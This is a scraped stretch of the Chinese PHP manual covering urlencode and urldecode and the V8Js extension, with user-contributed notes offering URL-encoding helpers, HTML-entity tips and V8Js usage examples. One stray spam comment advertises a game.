tomas at penajaca dot com dot br 20-Jul-2003 11:14
urldecode does not decode "%0"  bypassing it. I can cause troble when you are working with fixed lenght strings.

You can you the function below.

function my_urldecode($string){

  $array = split ("%",$string);

  if (is_array($array)){
    while (list ($k,$v) = each ($array)){
       $ascii = base_convert ($v,16,10);
       $ret .= chr ($ascii);
    }
 }
 return ("$ret");
}
regindk at hotmail dot com 23-Apr-2003 06:00
About: bellani at upgrade4 dot it
$str = "pippo.php?param1=&reg_var";
echo rawurldecode($str);
Gives:
pippo.php?param1=?_var
Instead of using a space you should exchange & with the correct W3C &amp;
Like this:
$str = "pippo.php?param1=&amp;reg_var";
echo rawurldecode($str);
bellani at upgrade4 dot it 11-Mar-2003 10:12
If you have a "html reserved word" as variable name (i.e. "reg_var") and you pass it as an argument you will get  a wrong url. i.e.

<a href="pippo.php?param1=&reg_var=">go</a>

you will get a wrong url like this

"pippo.php?param1=?_var"

Simply add a space between "&" and "reg_var" and it will work!

<a href="pippo.php?param1=& reg_var=">go</a>

"pippo.php?param1=&%20reg_var"

Works!!
smolniy at mtu dot ru 07-Feb-2003 02:42
For compatibility of new and old brousers:

%xx -> char
%u0xxxx -> char

function unicode_decode($txt) {
 $txt = ereg_replace('%u0([[:alnum:]]{3})', '&#x\1;',$txt);
 $txt = ereg_replace('%([[:alnum:]]{2})', '&#x\1;',$txt);
 return ($txt);
}
igjav at cesga dot es 16-May-2002 11:48
This seems to decode correctly between most browsers and charater coding configurations. Specially indicated for direct parsing of URL as it comes on environment variables:

function crossUrlDecode($source) {
    $decodedStr = '';
    $pos = 0;
    $len = strlen($source);

    while ($pos < $len) {
        $charAt = substr ($source, $pos, 1);
        if ($charAt == '?') {
            $char2 = substr($source, $pos, 2);
            $decodedStr .= htmlentities(utf8_decode($char2),ENT_QUOTES,'ISO-8859-1');
            $pos += 2;
        }
        elseif(ord($charAt) > 127) {
            $decodedStr .= "&#".ord($charAt).";";
            $pos++;
        }
        elseif($charAt == '%') {
            $pos++;
            $hex2 = substr($source, $pos, 2);
            $dechex = chr(hexdec($hex2));
            if($dechex == '?') {
                $pos += 2;
                if(substr($source, $pos, 1) == '%') {
                    $pos++;
                    $char2a = chr(hexdec(substr($source, $pos, 2)));
                    $decodedStr .= htmlentities(utf8_decode($dechex . $char2a),ENT_QUOTES,'ISO-8859-1');
                }
                else {
                    $decodedStr .= htmlentities(utf8_decode($dechex));
                }
            }
            else {
                $decodedStr .= $dechex;
            }
            $pos += 2;
        }
        else {
            $decodedStr .= $charAt;
            $pos++;
        }
    }

    return $decodedStr;
}


编码 URL 字符串

  • ? urldecode
  • V8js ?
  • PHP Manual
  • URL 函数
  • 编码 URL 字符串

urlencode

(PHP 4, PHP 5, PHP 7, PHP 8)

urlencode — 编码 URL 字符串

说明

urlencode(string $string): string

此函数便于将字符串编码并将其用于 URL 的请求部分，同时它还便于将变量传递给下一页。

参数

string

要编码的字符串。

返回值

返回字符串，此字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数，空格则编码为加号（+）。此编码与 WWW 表单 POST 数据的编码方式是一样的，同时与 application/x-www-form-urlencoded 的媒体类型编码方式一样。由于历史原因，此编码在将空格编码为加号（+）方面与 » RFC3986 编码（参见 rawurlencode()）不同。

示例

Example #1 urlencode() 例子

<?php
$userinput = 'Data123!@-_ +';
echo "UserInput: $userinput\n";
echo '<a href="mycgi?foo=', urlencode($userinput), '">';
?>

以上示例会输出：

UserInput: Data123!@-_ +
<a href="mycgi?foo=Data123%21%40-_+%2B">

Example #2 urlencode() 与 htmlentities() 例子

<?php
$foo = 'Data123!@-_ +';
$bar = "Not the same content as $foo";
echo "foo: $foo\n";
echo "bar: $bar\n";
$query_string = 'foo=' . urlencode($foo) . '&bar=' . urlencode($bar);
echo '<a href="mycgi?' . htmlentities($query_string) . '">';
?>

以上示例会输出：

foo: Data123!@-_ +
bar: Not the same content as Data123!@-_ +
<a href="mycgi?foo=Data123%21%40-_+%2B&amp;bar=Not+the+same+content+as+Data123%21%40-_+%2B">

注释

Note:

注意：小心与 HTML 实体相匹配的变量。像 &amp、&copy 和 &pound 都将被浏览器解析，并使用实际实体替代所期待的变量名。这是明显的混乱，W3C 已经告诫人们好几年了。参考地址：» http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2。

PHP 通过 arg_separator.ini 指令，支持将参数分割符变成 W3C 所建议的分号。不幸的是大多数用户代理并不发送分号分隔符格式的表单数据。较为简单的解决办法是使用 &amp; 代替 & 作为分隔符。你不需要为此修改 PHP 的 arg_separator。让它仍为 &，而仅使用 htmlentities() 或 htmlspecialchars() 对你的 URL 进行编码。

参见

  • urldecode() - 解码已编码的 URL 字符串
  • htmlentities() - 将字符转换为 HTML 转义字符
  • rawurlencode() - 按照 RFC 3986 对 URL 进行编码
  • rawurldecode() - 对已编码的 URL 字符串进行解码
  • » RFC 3986

User Contributed Notes

materialsmoke at gmail dot com 29-Aug-2023 12:31
this function will encode the URL while preserving the functionality of URL so you can copy and paste it in the browser
```
function urlEncode($url) {
    $parsedUrl = parse_url($url);

    $encodedScheme = urlencode($parsedUrl['scheme']);
    $encodedHost = urlencode($parsedUrl['host']);

    $encodedPath = implode('/', array_map('urlencode', explode('/', $parsedUrl['path'])));
    if (isset($parsedUrl['query'])) {
        $encodedQuery = '?' . urlencode($parsedUrl['query']);
    } else {
        $encodedQuery = '';
    }

    return "{$encodedScheme}://{$encodedHost}{$encodedPath}{$encodedQuery}";
}
```
GeorgeOxymn 10-Sep-2021 10:58
Стань королем настоящего средневекового королевства!
Захватывающая RPG игра и симулятор замка
https://fas.st/tdhru
lekiagospel@gmail dot com 18-Nov-2020 04:22
urlencode is useful when using certain URL shortener services.

The returned URL from the shortener may be truncated if not encoded. Ensure the URL is encoded before passing it to a shortener.

Example

$url = "https://www.notarealurl.com?id=50&name=namestring";
$encodedurl = urlencode($url);
$shorturl = UrlShortener::shortenUrl( $encodedurl);
no_gravity 16-Jan-2020 12:00
I think the description does not exactly match what the function does:

    Returns a string in which all non-alphanumeric characters
    except -_. have been replaced with a percent (%) sign followed
    by two hex digits and spaces encoded as plus (+) signs.

urlencode('?') gives me '%C3%B6'. So more then just a percent sign followed by two hex digits.
admin at server dot net 20-Sep-2019 06:12
urlencode corresponds to the definition for application/x-www-form-urlencoded in RFC 1866 (https://tools.ietf.org/html/rfc1866#section-8.2.1), and not for url encoded parts in URI. Use only rawurlencode for encode raw URI parts (e.g. query/search part)!
youhanasobhy15 at gmail dot com 26-Feb-2018 10:22
Keep in mind that, if you prepare URL for a connection and used the urlencode on some parameters and didn't use it on the rest of parameters, it will not be decoded automatically at the destination position if the not encoded parameters have special characters that urlencode encodes it.

example :

$xml = simplexml_load_file("http://www.testing.com?me=test&first=".urlencode('dummy string')."&second=here is the string");

here is the second parameter has spaces which urlencode converts it to (+).

after using this URL, the server will discover that the second parameter has not been encoded , then the server will not decode it automatically.

this took more than 2 hours to be discovered and hope to save your time.
david winiecki gmail 10-Dec-2014 06:52
Since PHP 5.3.0, urlencode and rawurlencode also differ in that rawurlencode does not encode ~ (tilde), while urlencode does.
nehuensd at gmail dot com 03-Jun-2014 02:31
if you have a url like this: test-blablabla-4>3-y-3<6 or with any excluded US-ASCII Characters (see chapter 2.4.3 on http://www.ietf.org/rfc/rfc2396.txt) you can use urlencode two times for fix the 403 error.

Example:
.htaccess
Options +FollowSymLinks
RewriteEngine on
RewriteRule ^test-(.*)$ index.php?token=$1

index.php
<?php
    var_dump($_GET);

    $foo = 'test-bla-bla-4>2-y-3<6';
    $foo_encoded = urlencode(urlencode($foo));
?>
<a href="<?=$foo_encoded;?>"><?=$foo_encoded;?></a>

look on index.php
array (size=0)
  empty
test-bla-bla-4%253E2-y-3%253C6

look on test-bla-bla-4%253E2-y-3%253C6
array (size=1)
  'token' => string 'bla-bla-4>2-y-3<6' (length=17)
test-bla-bla-4%253E2-y-3%253C6

the problem is that the characters are decoded 2 times, 1 single, the first time mod_rewrite, the second is to create the php $ _GET array.

also, you can use this technique to the same as the complex functions of other notes.
izhankhalib at gmail dot com 06-Nov-2013 07:33
Below is our jsonform source code in  mongo db which consists a lot of double quotes. we are able to pass this source code to the ajax form submit function by using php urlencode :

<script type="text/javascript">
$(function() {
      // Generate a form using jquery.dfrom
        $("#myform").dform({

        "html":[
            {
                "type":"p",
                "html":"Patient Record"
            },
            {
                "name":"patient.name.first",
                "id":"txt-patient.name.first",
                "caption":"first name",
                "type":"text",
            },
            {

                "name":"patient.name.last",
                "id":"txt-patient.name.last",
                "caption":"last name",
                "type":"text",
            },
            {
               "type" : "submit",
              }

        ]
    });
    });
</script>
<form id="myform">

<?php
//get the json source code from the mongodb
$jsonform= urlencode($this->data['Post']['jsonform']);

?>
//AJAX SUBMIT FORM
<script type="text/javascript">
$('#myform').submit(function(){

    //    passing the variable fro PHP to javascript
        var thejsonform="<?php echo $jsonform ?>";

  //var fname = $('input#fname').val();
  var dataString = "jsonform=" + thejsonform ;

    $.ajax({
          type: "POST",
        //  url: "test1.php",
          data: dataString,
          success: function() {

          }
         });

return false;
});
homebot at yandex dot ru 31-Jul-2013 03:44
Simple static class for array URL encoding

[code]

<?php

/**
*
*  URL Encoding class
*  Use : urlencode_array::go() as function
*
*/
class urlencode_array
{

  /** Main encoding worker
  * @param string $perfix
  * @param array $array
  * @param string $ret byref Push record to return array
  * @param mixed $fe Is first call to function?
  */
  private static function encode_part($perfix, $array, &$ret, $fe = false)
  {
    foreach ( $array as $k => $v )
    {
      switch ( gettype($v))
      {
        case 'float'   :
        case 'integer' :
        case 'string'  : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = $v; break;
        case 'boolean' : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = ( $v ? '1' : '0' ); break;
        case 'null'    : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = 'NULL'; break;
        case 'object'  : $v = (array) $v;
        case 'array'   : self::encode_part( $fe?$perfix.$k:$perfix.'['.$k.']' , $v, $ret, false); break;
      }
    }
  }

  /** UrlEncode Array
  * @param mixed $array Array or stdClass to encode
  * @returns string Strings ready for send as 'application/x-www-form-urlencoded'
  */
  public static function go($array)
  {
    $buff = array();
    if ( gettype($array) == 'object') $array = (array) $array;
    self::encode_part('', $array, $buff, true);
    $retn = '';
    foreach ( $buff as $k => $v )
      $retn .= urlencode($k) . '=' . urlencode($v) . '&';
    return $retn;
  }
}

#-------------------------------- TEST AREA ------------------------------------

$buffer = array(
  'master'  =>'master.zenith.lv',
  'join'    =>array('slave'=>'slave1.zenith.lv','slave2'=>array('node1.slave2.zenith.lv','slave2.zenith.lv')),
  'config'  => new stdClass()
);
$buffer['config']->MaxServerLoad  = 200;
$buffer['config']->MaxSlaveLoad   = 100;
$buffer['config']->DropUserNoWait = true;

$buffer = urlencode_array::go($buffer);
parse_str( $buffer , $data_decoded);

header('Content-Type: text/plain; CHARSET=gb2312');
echo 'Encoded String :' . str_repeat('-', 80) . "\n";
echo $buffer;
echo str_repeat("\n", 3) . 'Decoded String byPhp :' . str_repeat('-', 80) . "\n";
print_r($data_decoded);

[/code]
davis dot peixoto at gmail dot com 18-May-2010 06:53
urlencode function and rawurlencode are mostly based on RFC 1738.

However, since 2005 the current RFC in use for URIs standard is RFC 3986.

Here is a function to encode URLs according to RFC 3986.

<?php
function myUrlEncode($string) {
    $entities = array('%21', '%2A', '%27', '%28', '%29', '%3B', '%3A', '%40', '%26', '%3D', '%2B', '%24', '%2C', '%2F', '%3F', '%25', '%23', '%5B', '%5D');
    $replacements = array('!', '*', "'", "(", ")", ";", ":", "@", "&", "=", "+", "$", ",", "/", "?", "%", "#", "[", "]");
    return str_replace($entities, $replacements, urlencode($string));
}
?>
frx dot apps at gmail dot com 07-Apr-2010 08:48
I wrote this simple function that creates a GET query (for URLS) from an array:

<?php
function encode_array($args)
{
  if(!is_array($args)) return false;
  $c = 0;
  $out = '';
  foreach($args as $name => $value)
  {
    if($c++ != 0) $out .= '&';
    $out .= urlencode("$name").'=';
    if(is_array($value))
    {
      $out .= urlencode(serialize($value));
    }else{
      $out .= urlencode("$value");
    }
  }
  return $out . "\n";
}
?>

If there are arrays within the $args array, they will be serialized before being urlencoded.

Some examples:
<?php
echo encode_array(array('foo' => 'bar'));                    // foo=bar
echo encode_array(array('foo&bar' => 'some=weird/value'));   // foo%26bar=some%3Dweird%2Fvalue
echo encode_array(array('foo' => 1, 'bar' =>  'two'));       // foo=1&bar=two
echo encode_array(array('args' => array('key' => 'value'))); // args=a%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A5%3A%22value%22%3B%7D
?>
omid at omidsakhi dot com 24-Feb-2010 11:17
I needed a function in PHP to do the same job as the complete escape function in Javascript. It took me some time not to find it. But findaly I decided to write my own code. So just to save time:

<?php
function fullescape($in)
{
  $out = '';
  for ($i=0;$i<strlen($in);$i++)
  {
    $hex = dechex(ord($in[$i]));
    if ($hex=='')
       $out = $out.urlencode($in[$i]);
    else
       $out = $out .'%'.((strlen($hex)==1) ? ('0'.strtoupper($hex)):(strtoupper($hex)));
  }
  $out = str_replace('+','%20',$out);
  $out = str_replace('_','%5F',$out);
  $out = str_replace('.','%2E',$out);
  $out = str_replace('-','%2D',$out);
  return $out;
 }
?>

It can be fully decoded using the unscape function in Javascript.
temu92 at gmail dot com 23-Jul-2009 10:44
I needed encoding and decoding for UTF8 urls, I came up with these very simple fuctions. Hope this helps!

<?php
    function url_encode($string){
        return urlencode(utf8_encode($string));
    }

    function url_decode($string){
        return utf8_decode(urldecode($string));
    }
?>
daniel+php at danielnorton dot com 29-Jun-2009 07:24
Don't use urlencode() or urldecode() if the text includes an email address, as it destroys the "+" character, a perfectly valid email address character.

Unless you're certain that you won't be encoding email addresses AND you need the readability provided by the non-standard "+" usage, instead always use use rawurlencode() or rawurldecode().
Mark Seecof 23-Sep-2008 04:34
When using XMLHttpRequest or another AJAX technique to submit data to a PHP script using GET (or POST with content-type header set to 'x-www-form-urlencoded') you must urlencode your data before you upload it.  (In fact, if you don't urlencode POST data MS Internet Explorer may pop a "syntax error" dialog when you call XMLHttpRequest.send().)  But, you can't call PHP's urlencode() function in Javascript!  In fact, NO native Javascript function will urlencode data correctly for form submission.  So here is a function to do the job fairly efficiently:

<?php /******

<script type="text/javascript" language="javascript1.6">
 // PHP-compatible urlencode() for Javascript
 function urlencode(s) {
  s = encodeURIComponent(s);
  return s.replace(/~/g,'%7E').replace(/%20/g,'+');
 }

 // sample usage:  suppose form has text input fields for
 // country, postcode, and city with id='country' and so-on.
 // We'll use GET to send values of country and postcode
 // to "city_lookup.php" asynchronously, then update city
 // field in form with the reply (from database lookup)

 function lookup_city() {
  var elm_country = document.getElementById('country');
  var elm_zip = document.getElementById('postcode');
  var elm_city = document.getElementById('city');
  var qry = '?country=' + urlencode(elm_country.value) +
                '&postcode=' + urlencode(elm_zip.value);
  var xhr;
  try {
   xhr = new XMLHttpRequest(); // recent browsers
  } catch (e) {
   alert('No XMLHttpRequest!');
   return;
  }
  xhr.open('GET',('city_lookup.php'+qry),true);
  xhr.onreadystatechange = function(){
    if ((xhr.readyState != 4) || (xhr.status != 200)) return;
    elm_city.value = xhr.responseText;
  }
  xhr.send(null);
 }
</script>

******/ ?>
root at jusme dot org 12-Aug-2008 05:12
I'm running PHP version 5.0.5 and urlencode() doesn't seem to encode the "#" character, although the function's description says it encodes "all non-alphanumeric" characters. This was a particular problem for me when trying to open local files with a "#" in the filename as Firefox will interpret this as an anchor target (for better or worse). It seems a manual str_replace is required unless this was fixed in a future PHP version.

Example:

$str = str_replace("#", "%23", $str);
ahrensberg at gmail dot com 04-Aug-2007 05:04
Like "Benjamin dot Bruno at web dot de" earlier has writen, you can have problems with encode strings with special characters to flash. Benjamin write that:

<?php
   function flash_encode ($input)
   {
      return rawurlencode(utf8_encode($input));
   }
?>

... could do the problem. Unfortunately flash still have problems with read some quotations, but with this one:

<?php
   function flash_encode($string)
   {
      $string = rawurlencode(utf8_encode($string));

      $string = str_replace("%C2%96", "-", $string);
      $string = str_replace("%C2%91", "%27", $string);
      $string = str_replace("%C2%92", "%27", $string);
      $string = str_replace("%C2%82", "%27", $string);
      $string = str_replace("%C2%93", "%22", $string);
      $string = str_replace("%C2%94", "%22", $string);
      $string = str_replace("%C2%84", "%22", $string);
      $string = str_replace("%C2%8B", "%C2%AB", $string);
      $string = str_replace("%C2%9B", "%C2%BB", $string);

      return $string;
   }
?>

... should solve this problem.
in reply to "kL" 20-Feb-2007 01:23
kL's example is very bugged since it loops itself and the encode function is two-way.

Why do you replace all %27 through '  in the same string in that you replace all ' through %27?

Lets say I have a string: Hello %27World%27. It's a nice day.
I get: Hello Hello 'World'. It%27s a nice day.

With other words that solution is pretty useless.

Solution:
Just replace ' through %27 when encoding
Just replace %27 through ' when decoding. Or just use url_decode.
kL 06-Sep-2006 05:13
Apache's mod_rewrite and mod_proxy are unable to handle urlencoded URLs properly - http://issues.apache.org/bugzilla/show_bug.cgi?id=34602

If you need to use any of these modules and handle paths that contain %2F or %3A (and few other encoded special url characters), you'll have use a different encoding scheme.

My solution is to replace "%" with "'".
<?php
function urlencode($u)
{
    return str_replace(array("'",'%'),array('%27',"'"),urlencode($u));
}

function urldecode($u)
{
    return urldecode(strtr($u,"'",'%'));
}
?>
torecs at sfe dot uio dot no 10-Jan-2006 03:30
This very simple function makes an valid parameters part of an URL, to me it looks like several of the other versions here are decoding wrongly as they do not convert & seperating the variables into &amp;.

  $vars=array('name' => 'tore','action' => 'sell&buy');
  echo MakeRequestUrl($vars);

  /* Makes an valid html request url by parsing the params array
   * @param $params The parameters to be converted into URL with key as name.
   */
  function MakeRequestUrl($params)
  {
      $querystring=null;
    foreach ($params as $name => $value)
    {
      $querystring=$name.'='.urlencode($value).'&'.$querystring;
    }
      // Cut the last '&'
      $querystring=substr($querystring,0,strlen($querystring)-1);
      return htmlentities($querystring);
  }

  Will output: action=sell%26buy&amp;name=tore
bisqwit at iki dot fi 02-Sep-2005 01:27
Constructing hyperlinks safely HOW-TO:

<?php
$path_component = 'machine/generated/part';
$url_parameter1 = 'this is a string';
$url_parameter2 = 'special/weird "$characters"';

$url = 'http://example.com/lab/cgi/test/'. rawurlencode($path_component) . '?param1=' . urlencode($url_parameter1) . '&param2=' . urlencode($url_parameter2);

$link_label = "Click here & you'll be <happy>";

echo '<a href="', htmlspecialchars($url), '">', htmlspecialchars($link_label), '</a>';
?>

This example covers all the encodings you need to apply in order to create URLs safely without problems with any special characters. It is stunning how many people make mistakes with this.

Shortly:
- Use urlencode for all GET parameters (things that come after each "=").
- Use rawurlencode for parts that come before "?".
- Use htmlspecialchars for HTML tag parameters and HTML text content.
R Mortimer 26-Aug-2005 01:14
Do not let the browser auto encode an invalid URL. Not all browsers perform the same encodeing. Keep it cross browser do it server side.
edwardzyang at thewritingpot dot com 15-Apr-2005 01:48
I was testing my input sanitation with some strange character entities. Ones like ? and ? were passed correctly and were in their raw form when I passed them through without any filtering.

However, some weird things happen when dealing with characters like (these are HTML entities): &#8252; &#9616; &#9488;and &#920; have weird things going on.

If you try to pass one in Internet Explorer, IE will *disable* the submit button. Firefox, however, does something weirder: it will convert it to it's HTML entity. It will display properly, but only when you don't convert entities.

The point? Be careful with decorative characters.

PS: If you try copy/pasting one of these characters to a TXT file, it will translate to a ?.
neugey at cox dot net 17-Sep-2004 01:51
Be careful when encoding strings that came from simplexml in PHP 5.  If you try to urlencode a simplexml object, the script tanks.

I got around the problem by using a cast.

$newValue = urlencode( (string) $oldValue );
monty3 at hotmail dot com 09-Sep-2004 01:00
If you want to pass a url with parameters as a value IN a url AND through a javascript function, such as...

   <a href="javascript:openWin('page.php?url=index.php?id=4&pg=2');">

...pass the url value through the PHP urlencode() function twice, like this...

<?php

   $url = "index.php?id=4&pg=2";
   $url = urlencode(urlencode($url));

   echo "<a href=\"javascript:openWin('page.php?url=$url');\">";
?>

On the page being opened by the javascript function (page.php), you only need to urldecode() once, because when javascript 'touches' the url that passes through it, it decodes the url once itself. So, just decode it once more in your PHP script to fully undo the double-encoding...

<?php

   $url = urldecode($_GET['url']);
?>

If you don't do this, you'll find that the result url value in the target script is missing all the var=values following the ? question mark...

   index.php?id=4


V8 Javascript Engine Integration

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 示例
  • V8Js — The V8Js class
    • V8Js::__construct — Construct a new V8Js object
    • V8Js::executeString — Execute a string as Javascript code
    • V8Js::getExtensions — Return an array of registered extensions
    • V8Js::getPendingException — Return pending uncaught Javascript exception
    • V8Js::registerExtension — Register Javascript extensions for V8Js
  • V8JsException — The V8JsException class
    • V8JsException::getJsFileName — The getJsFileName purpose
    • V8JsException::getJsLineNumber — The getJsLineNumber purpose
    • V8JsException::getJsSourceLine — The getJsSourceLine purpose
    • V8JsException::getJsTrace — The getJsTrace purpose

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension embeds the » V8 Javascript Engine into PHP.

User Contributed Notes

There are no user contributed notes for this page.


需求

PHP and V8 library and headers installed in proper paths.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/v8js

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

V8js 配置选项
名字 | 默认 | 可修改范围 | 更新日志
v8js.max_disposed_contexts | 25 | PHP_INI_ALL |
v8js.flags |  | PHP_INI_ALL |

这是配置指令的简短说明。

v8js.max_disposed_contexts int

Sets limit for disposed contexts before forcing V8 to do garbage collection.

v8js.flags string

Sets V8 command line flags. The list of available flags can be obtained in CLI mode by setting this parameter to --help. Example:

$ php -r 'ini_set("v8js.flags", "--help"); new V8Js;' | less

Note:

For these flags to be effective in runtime the ini_set() call has to be done before any V8Js objects are instantiated!

User Contributed Notes

There are no user contributed notes for this page.


示例

Basic usage

Example #1 Basic Javascript execution

<?php

$v8 = new V8Js();

/* basic.js */
$JS = <<< EOT
len = print('Hello' + ' ' + 'World!' + "\\n");
len;
EOT;

try {
var_dump($v8->executeString($JS, 'basic.js'));
} catch (V8JsException $e) {
var_dump($e);
}

?>

以上示例会输出：

Hello World!
int(13)

User Contributed Notes

nabikaz at gmail dot com 02-Mar-2023 02:09
If you want the output of the JS code not to be printed in the output and have it in PHP:

<?php
// Create a new V8Js object
$v8 = new V8Js();

// Define a JavaScript function
$JS = <<<EOT
    (function() {
        return 'Hello World!';
    })();
EOT;

// Execute the JavaScript function using V8js
$result = $v8->executeString($JS);

// Output the result
var_dump($result);
?>

Output:
string(12) "Hello World!"


The V8Js class

(PECL v8js >= 0.1.0)

简介

This is the core class for V8Js extension. Each instance created from this class has own context in which all JavaScript is compiled and executed.

See V8Js::__construct() for more information.

类摘要

class V8Js {
/* 常量 */
const string V8_VERSION;
const int FLAG_NONE = 1;
const int FLAG_FORCE_ARRAY = 2;
/* 方法 */
public __construct(
string $object_name = "PHP",
array $variables = array(),
array $extensions = array(),
bool $report_uncaught_exceptions = true
)
public executeString(string $script, string $identifier = "V8Js::executeString()", int $flags = V8Js::FLAG_NONE): mixed
public static getExtensions(): array
public getPendingException(): V8JsException
public static registerExtension(
string $extension_name,
string $script,
array $dependencies = array(),
bool $auto_enable = false
): bool
}

预定义常量

V8Js::V8_VERSION

The V8 Javascript Engine version.

V8Js::FLAG_NONE

No flags.

V8Js::FLAG_FORCE_ARRAY

Forces all JS objects to be associative arrays in PHP.

Table of Contents

  • V8Js::__construct — Construct a new V8Js object
  • V8Js::executeString — Execute a string as Javascript code
  • V8Js::getExtensions — Return an array of registered extensions
  • V8Js::getPendingException — Return pending uncaught Javascript exception
  • V8Js::registerExtension — Register Javascript extensions for V8Js

User Contributed Notes

stamster at gmail dot com 25-Jan-2017 03:28
Take note that just instantiating V8 class / binary .so will add at least 5ms to your app/script runtime.

Test from LAN (minimum network latency):

PHP 7.0.x w/o instantiating V8JS class: 1ms
PHP 7.0.x with V8JS object: 6-7ms

Running V8 engine v5.8.0

It's not a big deal, but comparing to PhalconPHP framework which adds almost 0 additional latency at runtime, V8JS adds 5-6 times more of latency/overhead.
Hoffmann dot P-no-sp at m-gmx dot net 13-Dec-2016 10:52
You can use function variables (jay!)

So the following works:

$add = function ($a, $b) {
    return $a + $b;
};
$v8 = new V8Js('PHP', array('add' => 'add'));
$result = $v8->executeString('PHP.add(1,2)');
var_dump($result);

yields indeed:
int(3)
mateusz dot charytoniuk at gmail dot com 18-Aug-2015 08:58
v8js can be also used to render server-side javascript components (see: React.js).
mateusz dot charytoniuk at gmail dot com 11-Jul-2013 09:41
This extension can be used to provide server-side and client-side form validation by executing the same JavaScript code at both places.


Construct a new V8Js object

  • ? V8Js
  • V8Js::executeString ?
  • PHP Manual
  • V8Js
  • Construct a new V8Js object

V8Js::__construct

(PECL v8js >= 0.1.0)

V8Js::__construct — Construct a new V8Js object

说明

public V8Js::__construct(
string $object_name = "PHP",
array $variables = array(),
array $extensions = array(),
bool $report_uncaught_exceptions = true
)

Constructs a new V8Js object.

参数

object_name

The name of the object passed to Javascript.

variables

Map of PHP variables that will be available in Javascript. Must be an associative array in format array("name-for-js" => "name-of-php-variable"). Defaults to empty array.

extensions

List of extensions registered using V8Js::registerExtension() which should be available in the Javascript context of the created V8Js object.

Note:

Extensions registered to be enabled automatically do not need to be listed in this array. Also if an extension has dependencies, those dependencies can be omitted as well. Defaults to empty array.

report_uncaught_exceptions

Controls whether uncaught Javascript exceptions are reported immediately or not. Defaults to true. If set to false the uncaught exception can be accessed using V8Js::getPendingException().

User Contributed Notes

There are no user contributed notes for this page.


Execute a string as Javascript code

  • ? V8Js::__construct
  • V8Js::getExtensions ?
  • PHP Manual
  • V8Js
  • Execute a string as Javascript code

V8Js::executeString

(PECL v8js >= 0.1.0)

V8Js::executeString — Execute a string as Javascript code

说明

public V8Js::executeString(string $script, string $identifier = "V8Js::executeString()", int $flags = V8Js::FLAG_NONE): mixed

Compiles and executes the string passed with script as Javascript code.

参数

script

The code string to be executed.

identifier

Identifier string for the executed code. Used for debugging.

flags

Execution flags. This value must be one of the V8Js::FLAG_* constants, defaulting to V8Js::FLAG_NONE.

  • V8Js::FLAG_NONE: no flags

  • V8Js::FLAG_FORCE_ARRAY: forces all Javascript objects passed to PHP to be associative arrays

返回值

Returns the last variable instantiated in the Javascript code converted to matching PHP variable type.

User Contributed Notes

There are no user contributed notes for this page.


Return an array of registered extensions

  • ? V8Js::executeString
  • V8Js::getPendingException ?
  • PHP Manual
  • V8Js
  • Return an array of registered extensions

V8Js::getExtensions

(PECL v8js >= 0.1.0)

V8Js::getExtensions — Return an array of registered extensions

说明

public static V8Js::getExtensions(): array

This function returns array of Javascript extensions registered using V8Js::registerExtension().

参数

此函数没有参数。

返回值

Returns an array of registered extensions or an empty array if there are none.

User Contributed Notes

There are no user contributed notes for this page.


Return pending uncaught Javascript exception

  • ? V8Js::getExtensions
  • V8Js::registerExtension ?
  • PHP Manual
  • V8Js
  • Return pending uncaught Javascript exception

V8Js::getPendingException

(PECL v8js >= 0.1.0)

V8Js::getPendingException — Return pending uncaught Javascript exception

说明

public V8Js::getPendingException(): V8JsException

Returns any pending uncaught Javascript exception as V8JsException left from earlier V8Js::executeString() call(s).

参数

此函数没有参数。

返回值

Either V8JsException or null.

User Contributed Notes

There are no user contributed notes for this page.


Register Javascript extensions for V8Js

  • ? V8Js::getPendingException
  • V8JsException ?
  • PHP Manual
  • V8Js
  • Register Javascript extensions for V8Js

V8Js::registerExtension

(PECL v8js >= 0.1.0)

V8Js::registerExtension — Register Javascript extensions for V8Js

说明

public static V8Js::registerExtension(
string $extension_name,
string $script,
array $dependencies = array(),
bool $auto_enable = false
): bool

Registers passed Javascript script as extension to be used in V8Js contexts.

参数

extension_name

Name of the extension to be registered.

script

The Javascript code to be registered.

dependencies

Array of extension names the extension to be registered depends on. Any such extension is enabled automatically when this extension is loaded.

Note:

All extensions, including the dependencies, must be registered before any V8Js are created which use them.

auto_enable

If set to true, the extension will be enabled automatically in all V8Js contexts.

返回值

Returns true if extension was registered successfully, false otherwise.

User Contributed Notes

Reforced 11-Jul-2019 10:22
Note that since version 2.0.0 V8Js::registerExtension is deprecated and suggests use snapshots instead https://github.com/phpv8/v8js/releases/tag/2.0.0
Simple example using snapshots and the moment.js:

<?php
$script = file_get_contents('https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.24.0/moment.min.js');

$snapshot = V8Js::createSnapshot($script);
$v8 = new V8Js('php', array(), array(), true, $snapshot);

echo $v8->executeString('moment().format()');
?>

Side-note: If you value speed, security and stability do not use file_get_contents to grab external javascripts on production servers.
dimarikson at yandex dot ru 15-Oct-2014 05:26
Usage sample:

if (V8Js::registerExtension('myjs', 'var x = 1 + 1;', array(), true) === false) {
    exit("Failed to register js extension script");
}

$v8js = new V8Js;

$jsExec = <<<EOD
x;
EOD;

echo $v8js->executeString($jsExec)."\n";    // print "2"


The V8JsException class

(PECL v8js >= 0.1.0)

简介

类摘要

class V8JsException extends Exception {
/* 属性 */
protected $JsFileName;
protected $JsLineNumber;
protected $JsSourceLine;
protected $JsTrace;
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
final public getJsFileName(): string
final public getJsLineNumber(): int
final public getJsSourceLine(): string
final public getJsTrace(): string
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
